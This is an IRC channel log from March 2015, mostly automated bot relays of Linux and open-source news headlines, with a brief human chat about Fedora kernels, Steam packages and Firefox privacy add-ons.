TweetTuxMachines                 Petition https://t.co/sufgG6YrE3Mar 13 14:19
TweetTuxMachines                 (www.gamingonlinux.com) https://t.co/71ImEWhB1eMar 13 14:19
TweetTuxMachines                 (www.change.org)Mar 13 14:19
TweetTuxMachines........................................  http://ur1.ca/jwip2Mar 13 14:19
-TechrightsBot-tr/#techrights-www.gamingonlinux.com | President Of Blizzard Responds To The Linux Petition, Petition Owner Creates Childish Response | GamingOnLinuxMar 13 14:19
-TechrightsBot-tr/#techrights-www.change.org | Petition · Please Release Native Linux Clients · Change.orgMar 13 14:19
TweetTuxMachines@tuxmachines     15 Must Have Ubuntu EnhancementsMar 13 14:19
TweetTuxMachines                 http://t.co/R0eEZMOHIT (www.datamation.com)Mar 13 14:19
TweetTuxMachines........................................  http://ur1.ca/jwip5Mar 13 14:19
-TechrightsBot-tr/#techrights-www.datamation.com | 15 Must Have Ubuntu Enhancements - DatamationMar 13 14:19
TweetTuxMachines@tuxmachines     15 Must Have Ubuntu EnhancementsMar 13 14:19
TweetTuxMachines                 http://t.co/eSRntY0Zmj (www.tuxmachines.org)Mar 13 14:19
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | 15 Must Have Ubuntu Enhancements | Tux MachinesMar 13 14:19
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TweetTuxMachines@tuxmachines     Setting ssh keys for Raspberry Pi's and BeagleMar 13 15:27
TweetTuxMachines                 Bones without keyboard and displayMar 13 15:27
TweetTuxMachines                 http://t.co/TLMrV51fHd (www.tuxmachines.org)Mar 13 15:27
TweetTuxMachines........................................  http://ur1.ca/jwj5uMar 13 15:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Setting ssh keys for Raspberry Pi's and Beagle Bones without keyboard and display | Tux MachinesMar 13 15:27
TweetTuxMachines@tuxmachines     Here’s what changed in Android 5.1 LollipopMar 13 15:27
TweetTuxMachines                 http://t.co/GYMXToHyl0 (www.tuxmachines.org)Mar 13 15:27
TweetTuxMachines........................................  http://ur1.ca/jwj5vMar 13 15:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Here’s what changed in Android 5.1 Lollipop | Tux MachinesMar 13 15:27
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TweetTuxMachines@tuxmachines     Sam Ramji Discusses Cloud Foundry and OpenMar 13 17:31
TweetTuxMachines                 Source Opportunities http://t.co/C5gbq60sVHMar 13 17:31
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 17:31
TweetTuxMachines........................................  http://ur1.ca/jwk0mMar 13 17:31
*TweetTuxMachines @miniputing favourited 'Setting ssh keys for Raspberry Pi's and Beagle...'Mar 13 17:31
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Sam Ramji Discusses Cloud Foundry and Open Source Opportunities | Tux MachinesMar 13 17:31
TweetTuxMachines@tuxmachines     Arietta G25 – The latest Embedded Linux BoardMar 13 17:32
TweetTuxMachines                 http://t.co/VycGwADuGR (www.tuxmachines.org)Mar 13 17:32
TweetTuxMachines........................................  http://ur1.ca/jwk0rMar 13 17:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Arietta G25 – The latest Embedded Linux Board | Tux MachinesMar 13 17:32
TweetTuxMachines@tuxmachines     Why open source works http://t.co/7o3AKnvYFPMar 13 17:32
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 17:32
TweetTuxMachines........................................  http://ur1.ca/jwk0sMar 13 17:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Why open source works | Tux MachinesMar 13 17:32
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 13 17:32
TweetTuxMachines                 http://t.co/iz5W2k8W5i (www.tuxmachines.org)Mar 13 17:32
TweetTuxMachines........................................  http://ur1.ca/jwk0tMar 13 17:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | 5 best Linux distros for beginners and newbies | Tux MachinesMar 13 17:32
TweetTuxMachines@tuxmachines     The 7 types of Android fanboy (and fangirl):Mar 13 17:32
TweetTuxMachines                 The spotter's guide to the seven types ofMar 13 17:32
TweetTuxMachines                 Fandroid you will encou...Mar 13 17:32
TweetTuxMachines                 http://t.co/CWPTjyfQL3 (www.tuxmachines.org)Mar 13 17:32
TweetTuxMachines........................................  http://ur1.ca/jwk0wMar 13 17:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | The 7 types of Android fanboy (and fangirl): The spotter's guide to the seven types of Fandroid you will encounter on the internet | Tux MachinesMar 13 17:32
TweetTuxMachines@tuxmachines     Allwinner’s octa-core A80 SoC tightens its SBCMar 13 17:32
TweetTuxMachines                 grip http://t.co/T7dbmiLclOMar 13 17:32
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 17:32
TweetTuxMachines........................................  http://ur1.ca/jwk0xMar 13 17:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Allwinner’s octa-core A80 SoC tightens its SBC grip | Tux MachinesMar 13 17:32
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__martin__finallyMar 13 17:49
XRevan86__martin__: hmm?Mar 13 17:50
__martin__Linux octavia 4.0.0-0.rc3.git0.1.fc22.x86_64 #1 SMP Mon Mar 9 13:36:59 UTC 2015 x86_64 x86_64 x86_64 GNU/LinuxMar 13 17:50
__martin__(=Mar 13 17:50
__martin__also made a bargain hw upgrade, took for 10€ unused GTS 450 from friend tonight xDMar 13 17:50
__martin__(viable for wayland over igpu hd 4200)Mar 13 17:51
XRevan86__martin__: octavia? like vinyl?Mar 13 17:51
__martin__XRevan86: nope like Skoda car modelMar 13 17:52
XRevan86__martin__: okayMar 13 17:52
__martin__yay, rpmfusion's rawhide steam package is still only for fc21Mar 13 17:55
__martin__(cannot wait to try oddworld's new n' tasty old-school arcade remake =)Mar 13 17:55
XRevan86__martin__: If it is for rawhide, what's the problem?Mar 13 17:56
__martin__still contains an old package..Mar 13 17:56
XRevan86__martin__: steam is proprietary, I doubt it'll break because of old deps :)Mar 13 17:57
__martin__XRevan86: what browser addons you use by default?Mar 13 17:57
XRevan86__martin__: #1 is of course CTRMar 13 17:57
XRevan86Classic Theme RestorerMar 13 17:57
__martin__so I will force the package to install without key verificationMar 13 17:57
XRevan86http://mirror.yandex.ru/fedora/russianfedora/russianfedora/nonfree/fedora/development/rawhide/i386/os/ No Steam here, hehMar 13 17:57
-TechrightsBot-tr/#techrights-mirror.yandex.ru | Index of /fedora/russianfedora/russianfedora/nonfree/fedora/development/rawhide/i386/os/ [ http://ur1.ca/jwk5g ]Mar 13 17:57
__martin__myself just https-everywher, privacy badger, noscript, server spy // and used to be YouTube ALL HTML5Mar 13 17:59
__martin__where*Mar 13 17:59
XRevan86__martin__: I'm not into privacy addonsMar 13 17:59
__martin__[for my need I cannot stick with LibreJS yet]Mar 13 17:59
XRevan86Only µBlock, BetterPrivacy and Self-Destructing CookiesMar 13 17:59
__martin__needs*Mar 13 17:59
__martin__oh yes and of course adblock edgeMar 13 18:00
XRevan86__martin__: Inferior µBlock alternative %).Mar 13 18:00
XRevan86what's the point of using it then?Mar 13 18:00
__martin__inferior? =DMar 13 18:00
XRevan86__martin__: Exactly.Mar 13 18:00
__martin__also this proprietary MEGA addon for downloading large files et alMar 13 18:01
XRevan86AdBlock Edge has same performance issues as AdBlock+Mar 13 18:01
XRevan86even a bit moreMar 13 18:01
XRevan86https://addons.mozilla.org/ru/firefox/addon/ublock/versionsMar 13 18:02
-TechrightsBot-tr/#techrights-addons.mozilla.org | µBlock :: Versions :: Дополнения Firefox [ http://ur1.ca/jwk6j ]Mar 13 18:02
XRevan86ouchMar 13 18:02
XRevan86https://addons.mozilla.org/addon/ublock/versionsMar 13 18:02
-TechrightsBot-tr/#techrights-addons.mozilla.org | µBlock :: Versions :: Add-ons for Firefox [ http://ur1.ca/jwk6m ]Mar 13 18:02
__martin__went with micro this timeMar 13 18:03
XRevan86it is still not reviewed so versions updates is a painMar 13 18:03
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__martin__https://hacks.mozilla.org/2015/02/webrtc-requires-perfect-forward-secrecy-pfs-starting-in-firefox-38/Mar 13 18:54
-TechrightsBot-tr/#techrights-hacks.mozilla.org | WebRTC requires Perfect Forward Secrecy (PFS) starting in Firefox 38 ✩ Mozilla Hacks – the Web developer blog [ http://ur1.ca/jwkgq ]Mar 13 18:54
__martin__XRevan86: what DNS servers you use as an ISP replacement?Mar 13 18:55
XRevan86__martin__: I use default providers.Mar 13 18:55
XRevan86Oh wait, I don't %)Mar 13 18:57
XRevan86I had issues with it so I've made 77.88.8.8 the default DNSMar 13 18:57
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TweetTuxMachines@tuxmachines     Rugged NUC mini-PCs run Linux on Broadwell andMar 13 20:10
TweetTuxMachines                 Bay Trail http://t.co/VJyKw58In8Mar 13 20:10
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 20:10
TweetTuxMachines........................................  http://ur1.ca/jwku0Mar 13 20:10
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Rugged NUC mini-PCs run Linux on Broadwell and Bay Trail | Tux MachinesMar 13 20:10
TweetTuxMachines@tuxmachines     New Ubuntu Phone Flash Sale Confirmed for MarchMar 13 20:10
TweetTuxMachines                 12 http://t.co/CO0ULsE7sk (www.tuxmachines.org)Mar 13 20:10
TweetTuxMachines........................................  http://ur1.ca/jwku1Mar 13 20:10
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TweetTuxMachines@tuxmachines     KDE Frameworks 5.8.0 Officially Released withMar 13 21:53
TweetTuxMachines                 Support for Qt 5.5 http://t.co/tUTYGO4P6aMar 13 21:53
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 21:53
TweetTuxMachines........................................  http://ur1.ca/jwlbcMar 13 21:53
-TechrightsBot-tr/#techrights-www.tuxmachines.org | KDE Frameworks 5.8.0 Officially Released with Support for Qt 5.5 | Tux MachinesMar 13 21:53
*TweetTuxMachines @algorithmia favourited 'Algorithmia aims to be the open source app...'Mar 13 21:53
TweetTuxMachines@tuxmachines     Here’s what changed in Android 5.1 LollipopMar 13 22:00
TweetTuxMachines                 http://t.co/QhTfVVMWSs (www.geek.com)Mar 13 22:00
TweetTuxMachines........................................  http://ur1.ca/jwlc9Mar 13 22:00
-TechrightsBot-tr/#techrights-www.geek.com | Here’s what changed in Android 5.1 Lollipop | Android | Geek.comMar 13 22:00
TweetTuxMachines@tuxmachines     Oracle Linux 7.1 Has Been Officially Released,Mar 13 22:00
TweetTuxMachines                 Brings Production Support for BtrfsMar 13 22:00
TweetTuxMachines                 http://t.co/wCywsscIMf (linux.softpedia.com)Mar 13 22:00
TweetTuxMachines........................................  http://ur1.ca/jwlcaMar 13 22:00
-TechrightsBot-tr/#techrights-linux.softpedia.com | Oracle Linux 7.1 Has Been Officially Released, Brings Production Support for Btrfs - SoftpediaMar 13 22:00
TweetTuxMachines@tuxmachines     Red Hat proving that open source communitiesMar 13 22:00
TweetTuxMachines                 are better for security http://t.co/9IPLl3HBjbMar 13 22:00
TweetTuxMachines                 (whatsyourtech.ca)Mar 13 22:00
TweetTuxMachines........................................  http://ur1.ca/jwlcbMar 13 22:00
-TechrightsBot-tr/#techrights-whatsyourtech.ca | Red Hat proving that open source communities are better for security | WYT - Canadian Tech News & Tech ReviewsMar 13 22:00
TweetTuxMachines@tuxmachines     7 Android and Linux Smartwatches to Take on theMar 13 22:01
TweetTuxMachines                 Apple Watch  http://t.co/nUeC2lEeoEMar 13 22:01
TweetTuxMachines                 (www.linux.com)Mar 13 22:01
TweetTuxMachines........................................  http://ur1.ca/jwlcjMar 13 22:01
-TechrightsBot-tr/#techrights-www.linux.com | 7 Android and Linux Smartwatches to Take on the Apple Watch | Linux.comMar 13 22:01
TweetTuxMachines@tuxmachines     Arietta G25 – The latest Embedded Linux BoardMar 13 22:01
TweetTuxMachines                 http://t.co/WghIWm54OCMar 13 22:01
TweetTuxMachines                 (www.open-electronics.org)Mar 13 22:01
TweetTuxMachines........................................  http://ur1.ca/jwlckMar 13 22:01
-TechrightsBot-tr/#techrights-www.open-electronics.org | Arietta G25 – The latest Embedded Linux Board | Open ElectronicsMar 13 22:01
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*TweetTuxMachines @ElectronicsRDT favourited 'Arietta G25 – The latest Embedded Linux Board...'Mar 14 00:45
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 00:45
TweetTuxMachines                 http://t.co/CcQh5mfLGn (www.cbronline.com)Mar 14 00:45
TweetTuxMachines........................................  http://ur1.ca/jwm55Mar 14 00:45
-TechrightsBot-tr/#techrights-www.cbronline.com | 5 best Linux distros for beginners and newbies - Computer Business ReviewMar 14 00:45
TweetTuxMachines@tuxmachines     Allwinner’s octa-core A80 SoC tightens its SBCMar 14 00:49
TweetTuxMachines                 grip http://t.co/2MEc49lS6t (linuxgizmos.com)Mar 14 00:49
TweetTuxMachines........................................  http://ur1.ca/jwm5tMar 14 00:49
-TechrightsBot-tr/#techrights-linuxgizmos.com | Allwinner's octa-core A80 SoC tightens its SBC grip ·  LinuxGizmos.comMar 14 00:49
TweetTuxMachines@tuxmachines     Rugged NUC mini-PCs run Linux on Broadwell andMar 14 00:49
TweetTuxMachines                 Bay Trail http://t.co/pjU5nlGEWbMar 14 00:49
TweetTuxMachines                 (linuxgizmos.com)Mar 14 00:49
TweetTuxMachines........................................  http://ur1.ca/jwm5uMar 14 00:49
-TechrightsBot-tr/#techrights-linuxgizmos.com | Rugged NUC mini-PCs run Linux on Broadwell and Bay Trail ·  LinuxGizmos.comMar 14 00:49
TweetTuxMachines@tuxmachines     New Ubuntu Phone Flash Sale Confirmed for MarchMar 14 00:49
TweetTuxMachines                 12 http://t.co/c3p5v2fiKD (news.softpedia.com)Mar 14 00:49
TweetTuxMachines........................................  http://ur1.ca/jwm5vMar 14 00:49
-TechrightsBot-tr/#techrights-news.softpedia.com | New Ubuntu Phone Flash Sale Confirmed for March 12 - SoftpediaMar 14 00:49
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TweetTuxMachines@tuxmachines     KDE Frameworks 5.8.0 Officially Released withMar 14 01:40
TweetTuxMachines                 Support for Qt 5.5 http://t.co/a5NsI5XSL5Mar 14 01:40
TweetTuxMachines                 (news.softpedia.com)Mar 14 01:40
-TechrightsBot-tr/#techrights-news.softpedia.com | KDE Frameworks 5.8.0 Officially Released with Support for Qt 5.5 - SoftpediaMar 14 01:40
TweetTuxMachines........................................  http://ur1.ca/jwmcyMar 14 01:40
TweetTuxMachines@tuxmachines     Chromebook Pixel, the Rolls-Royce ofMar 14 01:40
TweetTuxMachines                 Chromebooks, is getting a refreshMar 14 01:40
TweetTuxMachines                 http://t.co/R7JVqUereQ (www.zdnet.com)Mar 14 01:40
TweetTuxMachines........................................  http://ur1.ca/jwmczMar 14 01:40
-TechrightsBot-tr/#techrights-www.zdnet.com | ​Chromebook Pixel, the Rolls-Royce of Chromebooks, is getting a refresh | ZDNetMar 14 01:40
TweetTuxMachines@tuxmachines     German Greens ask Foreign Affairs to amend wayMar 14 01:40
TweetTuxMachines                 http://t.co/5hPou6BIo2 (www.tuxmachines.org)Mar 14 01:40
TweetTuxMachines........................................  http://ur1.ca/jwmd0Mar 14 01:40
-TechrightsBot-tr/#techrights-www.tuxmachines.org | German Greens ask Foreign Affairs to amend way | Tux MachinesMar 14 01:40
TweetTuxMachines@tuxmachines     Huawei unveils its first smartwatch, runningMar 14 01:54
TweetTuxMachines                 Android Wear, plus Bluetooth fitness bandMar 14 01:54
TweetTuxMachines                 http://t.co/oVaB8cw3co (www.zdnet.com)Mar 14 01:54
TweetTuxMachines........................................  http://ur1.ca/jwmf8Mar 14 01:54
-TechrightsBot-tr/#techrights-www.zdnet.com | Huawei unveils its first smartwatch, running Android Wear, plus Bluetooth fitness band | ZDNetMar 14 01:54
TweetTuxMachines@tuxmachines     How a Chinese smartwatch became the surpriseMar 14 01:54
TweetTuxMachines                 hit of Mobile World Congress Mar 14 01:54
TweetTuxMachines                 http://t.co/kxJQh4dKPw (www.theverge.com)Mar 14 01:54
TweetTuxMachines........................................  http://ur1.ca/jwmf9Mar 14 01:54
-TechrightsBot-tr/#techrights-www.theverge.com | How a Chinese smartwatch became the surprise hit of Mobile World Congress | The VergeMar 14 01:54
TweetTuxMachines@tuxmachines     Raspberry Pi 2: Raspbian (ARMv6) v LinaroMar 14 01:54
TweetTuxMachines                 (ARMv7) - Benchmarking http://t.co/nhtaYIFeYpMar 14 01:54
TweetTuxMachines                 (www.linuxlinks.com)Mar 14 01:54
TweetTuxMachines........................................  http://ur1.ca/jwmfaMar 14 01:54
-TechrightsBot-tr/#techrights-www.linuxlinks.com | Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7) - Benchmarking - Linux Links - The Linux Portal SiteMar 14 01:54
TweetTuxMachines@tuxmachines     Apache HTTP Server Vulnerabilities Closed inMar 14 02:03
TweetTuxMachines                 All Supported Ubuntu SystemsMar 14 02:03
TweetTuxMachines                 http://t.co/YG3EZZdSc9 (linux.softpedia.com)Mar 14 02:03
TweetTuxMachines........................................  http://ur1.ca/jwmgrMar 14 02:03
-TechrightsBot-tr/#techrights-linux.softpedia.com | Apache HTTP Server Vulnerabilities Closed in All Supported Ubuntu Systems - SoftpediaMar 14 02:03
TweetTuxMachines@tuxmachines     Ubuntu OSes Patched Against eCryptfsMar 14 02:03
TweetTuxMachines                 Vulnerability http://t.co/hX7klSXi9EMar 14 02:03
TweetTuxMachines                 (linux.softpedia.com)Mar 14 02:03
-TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu OSes Patched Against eCryptfs Vulnerability - SoftpediaMar 14 02:03
TweetTuxMachines........................................  http://ur1.ca/jwmgsMar 14 02:03
TweetTuxMachines@tuxmachines     Linux Kernel 3.18.9 Is Now an LTS (Long-TermMar 14 02:04
TweetTuxMachines                 Support) Release http://t.co/lUK3gQkKt6Mar 14 02:04
TweetTuxMachines                 (news.softpedia.com)Mar 14 02:04
-TechrightsBot-tr/#techrights-news.softpedia.com | Linux Kernel 3.18.9 Is Now an LTS (Long-Term Support) Release - SoftpediaMar 14 02:04
TweetTuxMachines........................................  http://ur1.ca/jwmgtMar 14 02:04
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TweetTuxMachines@tuxmachines     Linux Journey stories http://t.co/QWeD0kmcg1Mar 14 02:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/XCwxDFEwc5Mar 14 02:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/9eGBvvEm9jMar 14 02:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/SHmgsSJFzBMar 14 02:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #5: Linux Journey of Mr. Stuart J MackintoshMar 14 02:17
TweetTuxMachines                 (www.tecmint.com) http://t.co/3PBitg38SwMar 14 02:17
TweetTuxMachines                 (www.tecmint.com)Mar 14 02:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #4: Linux Journey of Mr. Berkley StarksMar 14 02:17
TweetTuxMachines........................................  http://ur1.ca/jwmj5Mar 14 02:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #3: Linux Journey of Mr. Ahmad AdnanMar 14 02:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #2: Dr. S P Bhatnagar's Linux JourneyMar 14 02:17
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #1: Usman Malik's Linux Journey So FarMar 14 02:17
TweetTuxMachines@tuxmachines     Huawei unveils its first smartwatch, runningMar 14 02:18
TweetTuxMachines                 Android Wear, plus Bluetooth fitness bandMar 14 02:18
TweetTuxMachines                 http://t.co/xHuDLyBkkD (www.tuxmachines.org)Mar 14 02:18
TweetTuxMachines........................................  http://ur1.ca/jwmj6Mar 14 02:18
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Huawei unveils its first smartwatch, running Android Wear, plus Bluetooth fitness band | Tux MachinesMar 14 02:18
TweetTuxMachines@tuxmachines     Raspberry Pi 2: Raspbian (ARMv6) v LinaroMar 14 02:18
TweetTuxMachines                 (ARMv7) - Benchmarking http://t.co/KxFaaPx7FcMar 14 02:18
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 02:18
TweetTuxMachines........................................  http://ur1.ca/jwmj7Mar 14 02:18
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7) - Benchmarking | Tux MachinesMar 14 02:18
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-TechrightsBot-tr/#techrights-www.zdnet.com | Google Apps flaw exposes WHOIS data for 280,000 domains | ZDNet [ http://ur1.ca/jwmo1 ]Mar 14 02:55
TweetTuxMachines@tuxmachines     Linux Kernel 3.18.9 Is Now an LTS (Long-TermMar 14 02:59
TweetTuxMachines                 Support) Release http://t.co/fSRXDmKvOPMar 14 02:59
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 02:59
TweetTuxMachines........................................  http://ur1.ca/jwmolMar 14 02:59
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Kernel 3.18.9 Is Now an LTS (Long-Term Support) Release | Tux MachinesMar 14 02:59
TweetTuxMachines@tuxmachines     Personal Linux Stories and Best Distros forMar 14 02:59
TweetTuxMachines                 Newbies http://t.co/B8CdVnSMJBMar 14 02:59
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 02:59
TweetTuxMachines........................................  http://ur1.ca/jwmomMar 14 02:59
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Personal Linux Stories and Best Distros for Newbies | Tux MachinesMar 14 02:59
TweetTuxMachines@tuxmachines     New Joomla release warrants second look for CMSMar 14 02:59
TweetTuxMachines                 deployments http://t.co/BCHqLqRwXoMar 14 02:59
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 02:59
TweetTuxMachines........................................  http://ur1.ca/jwmonMar 14 02:59
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Joomla release warrants second look for CMS deployments | Tux MachinesMar 14 02:59
TweetTuxMachines@tuxmachines     Raspberry Pi 2 review - the Pi you didn't knowMar 14 03:13
TweetTuxMachines                 you wanted http://t.co/C2vmxWl7wUMar 14 03:13
TweetTuxMachines                 (www.pcpro.co.uk)Mar 14 03:13
TweetTuxMachines........................................  http://ur1.ca/jwmqyMar 14 03:13
-TechrightsBot-tr/#techrights-www.pcpro.co.uk | Raspberry Pi 2 review - the Pi you didn't know you wanted | PC ProMar 14 03:13
TweetTuxMachines@tuxmachines     Raspberry Pi celebrates hugely successful 3Mar 14 03:13
TweetTuxMachines                 years http://t.co/NgvbaDrvzMMar 14 03:13
TweetTuxMachines                 (www.itproportal.com) "super-affordable ARMMar 14 03:13
TweetTuxMachines                 GNU/Linux computer"Mar 14 03:13
-TechrightsBot-tr/#techrights-www.itproportal.com | Raspberry Pi celebrates hugely successful 3 years | ITProPortal.comMar 14 03:13
TweetTuxMachines........................................  http://ur1.ca/jwmqzMar 14 03:13
*TweetTuxMachines @gagalago favourited 'Raspberry Pi celebrates hugely successful 3 years http://t.co/NgvbaDrvzM...'Mar 14 03:39
TweetTuxMachines@tuxmachines     Can We Really Trust Linux? Mar 14 03:39
TweetTuxMachines                 http://t.co/SYZEf4HzbU (www.makeuseof.com)Mar 14 03:39
TweetTuxMachines........................................  http://ur1.ca/jwmutMar 14 03:39
-TechrightsBot-tr/#techrights-www.makeuseof.com | Can We Really Trust Linux?Mar 14 03:39
TweetTuxMachines@tuxmachines     First impressions of Korora 21Mar 14 03:39
TweetTuxMachines                 http://t.co/bpZwk4cLTX (distrowatch.com)Mar 14 03:39
TweetTuxMachines........................................  http://ur1.ca/jwmuvMar 14 03:39
-TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD.Mar 14 03:39
TweetTuxMachines@tuxmachines     First look at Sabayon 15.02Mar 14 03:40
TweetTuxMachines                 http://t.co/ujqqd2fza4 (distrowatch.com)Mar 14 03:40
TweetTuxMachines........................................  http://ur1.ca/jwmuwMar 14 03:40
-TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD.Mar 14 03:40
TweetTuxMachines@tuxmachines     MK80 Linux Edition is an octa-core Ubuntu miniMar 14 03:42
TweetTuxMachines                 PC http://t.co/QpTeQI6mlp (liliputing.com)Mar 14 03:42
TweetTuxMachines........................................  http://ur1.ca/jwmv1Mar 14 03:42
-TechrightsBot-tr/#techrights-liliputing.com | MK80 Linux Edition is an octa-core Ubuntu mini PC - LiliputingMar 14 03:42
TweetTuxMachines@tuxmachines     Ubuntu finally comes to phones, but don'tMar 14 03:42
TweetTuxMachines                 expect major retail sales push for at least 12Mar 14 03:42
TweetTuxMachines                 months  http://t.co/eifADNwjuEMar 14 03:42
TweetTuxMachines                 (www.fiercewireless.com)Mar 14 03:42
TweetTuxMachines........................................  http://ur1.ca/jwmv2Mar 14 03:42
-TechrightsBot-tr/#techrights-www.fiercewireless.com | Ubuntu finally comes to phones, but don't expect major retail sales push for at least 12 months - FierceWirelessMar 14 03:42
TweetTuxMachines@8a62f227420e4df  ➡http://t.co/W9182SfFjo (www.linkedin.com) ⬅Mar 14 03:43
TweetTuxMachines                 @dallasinmybedMar 14 03:43
-TechrightsBot-tr/#techrights-www.linkedin.com | NO TITLEMar 14 03:43
TweetTuxMachines                 @tuxmachinesMar 14 03:43
TweetTuxMachines                 @citytwarblerMar 14 03:43
TweetTuxMachines                 @hanifrazitqMar 14 03:43
TweetTuxMachines                 @DeannaDeanna14Mar 14 03:43
TweetTuxMachines                 @HoesGetNo_LoveMar 14 03:43
TweetTuxMachines                 @schestowitzMar 14 03:43
TweetTuxMachines........................................  http://ur1.ca/jwmvaMar 14 03:43
TweetTuxMachines@tuxmachines     Can We Really Trust Linux?Mar 14 03:43
TweetTuxMachines                 http://t.co/JtrBIWt13n (www.tuxmachines.org)Mar 14 03:43
TweetTuxMachines........................................  http://ur1.ca/jwmvcMar 14 03:43
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Can We Really Trust Linux? | Tux MachinesMar 14 03:44
TweetTuxMachines@tuxmachines     First impressions of Korora 21Mar 14 03:44
TweetTuxMachines                 http://t.co/30TDDs4GPJ (www.tuxmachines.org)Mar 14 03:44
TweetTuxMachines........................................  http://ur1.ca/jwmvdMar 14 03:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org | First impressions of Korora 21 | Tux MachinesMar 14 03:44
TweetTuxMachines@tuxmachines     First look at Sabayon 15.02Mar 14 03:44
TweetTuxMachines                 http://t.co/Lp0k1KQ6wk (www.tuxmachines.org)Mar 14 03:44
TweetTuxMachines........................................  http://ur1.ca/jwmveMar 14 03:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org | First look at Sabayon 15.02 | Tux MachinesMar 14 03:44
TweetTuxMachines@tuxmachines     MK80 Linux Edition is an octa-core Ubuntu miniMar 14 03:45
TweetTuxMachines                 PC http://t.co/XG9eXZAC2a (www.tuxmachines.org)Mar 14 03:45
TweetTuxMachines........................................  http://ur1.ca/jwmvmMar 14 03:45
-TechrightsBot-tr/#techrights-www.tuxmachines.org | MK80 Linux Edition is an octa-core Ubuntu mini PC | Tux MachinesMar 14 03:45
TweetTuxMachines@tuxmachines     Ubuntu finally comes to phones, but don'tMar 14 03:45
TweetTuxMachines                 expect major retail sales push for at least 12Mar 14 03:45
TweetTuxMachines                 months http://t.co/0bfWh72taAMar 14 03:45
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 03:45
TweetTuxMachines........................................  http://ur1.ca/jwmvoMar 14 03:45
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu finally comes to phones, but don't expect major retail sales push for at least 12 months | Tux MachinesMar 14 03:45
TweetTuxMachines@tuxmachines     LXLE Linux 14.04.1 review - Champagne withoutMar 14 03:46
TweetTuxMachines                 bubbles http://t.co/YLhETILzfqMar 14 03:46
TweetTuxMachines                 (www.dedoimedo.com)Mar 14 03:46
-TechrightsBot-tr/#techrights-www.dedoimedo.com | LXLE Linux 14.04.1 review - Champagne without bubblesMar 14 03:46
TweetTuxMachines........................................  http://ur1.ca/jwmvpMar 14 03:46
TweetTuxMachines@tuxmachines     Plasma is my new favorite desktopMar 14 03:58
TweetTuxMachines                 http://t.co/g6hra1Kmyv (www.ocsmag.com)Mar 14 03:58
TweetTuxMachines........................................  http://ur1.ca/jwmxoMar 14 03:58
-TechrightsBot-tr/#techrights-www.ocsmag.com | Plasma is my new favorite desktop | OCS-MagMar 14 03:58
TweetTuxMachines@tuxmachines     How to Use KDE Plasma Desktop Like a ProMar 14 03:58
TweetTuxMachines                 http://t.co/aQZnOzaHtd (www.linux.com)Mar 14 03:58
TweetTuxMachines........................................  http://ur1.ca/jwmxqMar 14 03:58
-TechrightsBot-tr/#techrights-www.linux.com | How to Use KDE Plasma Desktop Like a Pro | Linux.comMar 14 03:58
TweetTuxMachines@tuxmachines     Hands-on with the Ubuntu MX4, a better class ofMar 14 03:58
TweetTuxMachines                 phone http://t.co/8n17bJqafz (www.htxt.co.za)Mar 14 03:58
TweetTuxMachines........................................  http://ur1.ca/jwmxrMar 14 03:58
-TechrightsBot-tr/#techrights-www.htxt.co.za | [MWC2015] Hands-on with the Ubuntu MX4, a better class of phone - htxt.africaMar 14 03:58
TweetTuxMachines@tuxmachines     The Difference Between Window Managers andMar 14 04:01
TweetTuxMachines                 Desktop Environments http://t.co/3kjSrBWZyhMar 14 04:01
TweetTuxMachines                 (www.maketecheasier.com)Mar 14 04:01
-TechrightsBot-tr/#techrights-www.maketecheasier.com | Window Managers and Desktop Environments: The DifferenceMar 14 04:01
TweetTuxMachines........................................  http://ur1.ca/jwmy7Mar 14 04:01
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 04:02
TweetTuxMachines                 http://t.co/CcQh5mfLGn (www.cbronline.com)Mar 14 04:02
TweetTuxMachines........................................  http://ur1.ca/jwmy8Mar 14 04:02
-TechrightsBot-tr/#techrights-www.cbronline.com | 5 best Linux distros for beginners and newbies - Computer Business ReviewMar 14 04:02
*TweetTuxMachines @StuartPearlman followed @tuxmachinesMar 14 04:02
schestowitzhttps://joindiaspora.com/posts/5757318Mar 14 04:04
